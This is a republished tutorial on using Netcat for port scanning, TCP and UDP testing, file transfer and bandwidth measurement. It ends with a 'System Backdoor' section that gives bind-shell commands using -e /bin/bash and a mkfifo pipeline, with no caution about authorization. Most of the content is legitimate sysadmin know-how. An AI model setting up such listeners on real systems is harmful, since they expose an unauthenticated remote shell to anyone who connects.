Master Netcat: Powerful TCP/UDP Tricks for Network Testing and File Transfer
This guide explains how to use Netcat—a lightweight, versatile TCP/UDP utility installed on most Linux distributions—for port scanning, connectivity checks, UDP sessions, file transfers, bandwidth measurement, and even creating simple backdoors, while highlighting differences between GNU and OpenBSD versions.
Netcat is often called the Swiss army knife of TCP/IP because of its tiny size (about 200 KB) and flexible functionality; it is installed by default on many Linux distributions and can be used for a wide range of network tasks.
The original author, a user nicknamed “Hobbit,” released Netcat in 1995 on UNIX as source code. The two main POSIX variants are the GNU version and the OpenBSD version, both installable on Debian/Ubuntu, while Windows only provides a GNU port.
To determine which version is present, run: readlink -f $(which nc) The result is typically one of the following: /bin/nc.traditional: the default GNU‑based version. /bin/nc.openbsd: the more powerful OpenBSD version.
Both can be installed explicitly:
apt-get install nc-traditional apt-get install nc-openbsdPort Testing
To check whether a TCP service on host A (192.168.1.2) port 8080 is reachable, you can use Telnet or, more conveniently, Netcat: nc -vz 192.168.1.2 8080 The -v flag makes the output verbose and -z tells Netcat to scan without sending data. To scan a range of ports:
nc -v -v -w3 -z 192.168.1.2 8080-8083 -w3sets a 3‑second timeout.
Transmission Test
On host A, start a listener: nc -l -p 8080 On host B, connect to it: nc 192.168.1.2 8080 Both sides can now exchange text. The OpenBSD version allows the -l flag without -p (i.e., nc -l 8080), but the GNU version requires both. Newer versions keep the connection open after EOF; older versions close automatically. Use -k (OpenBSD) for a persistent server, or -N (OpenBSD) / -q0 (GNU) to close when stdin reaches EOF.
UDP Session Test
On host A, listen on UDP port 8080: nc -u -l -p 8080 On host B, send data: nc -u 192.168.1.2 8080 Enter messages on either side; they will appear on the other, allowing you to verify UDP reachability.
File Transfer
On the receiving host (A): nc -l -p 8080 > image.jpg On the sending host (B): nc 192.168.1.2 8080 < image.jpg For automatic termination after the file ends, use -N (OpenBSD) or -q0 (GNU):
/bin/nc.openbsd -N 192.168.1.2 8080 < image.jpg /bin/nc.traditional -q0 192.168.1.2 8080 < image.jpgBandwidth Throughput Test
Server side (A) with verbose output:
/bin/nc.traditional -v -v -n -l -p 8080 > /dev/nullClient side (B) sending zero bytes: time nc -n 192.168.1.2 8080 < /dev/zero Alternatively, combine dd with Netcat:
dd if=/dev/zero bs=1M count=100 | /bin/nc.openbsd -n -N 192.168.1.2 8080For more precise measurement, pipe through pv:
nc -l -p 8080 | pv nc 192.168.1.2 8080 < /dev/zeroThe pv output shows real‑time bandwidth, e.g., “353MiB 0:00:15 [22.4MiB/s]”.
System Backdoor
GNU Netcat can execute a program after a connection is established using -e: /bin/nc.traditional -l -p 8080 -e /bin/bash Connecting from another host gives a remote shell. The OpenBSD version removed -e, but the same effect can be achieved with a FIFO:
mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd -l -p 8080 > /tmp/fAfter use, delete the FIFO file.
Conclusion
Netcat enables raw TCP/UDP listening, connecting, and data transfer directly from the command line. By combining it with pipelines, you can perform advanced network diagnostics, file transfers, bandwidth tests, and even simple backdoors without installing additional software.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
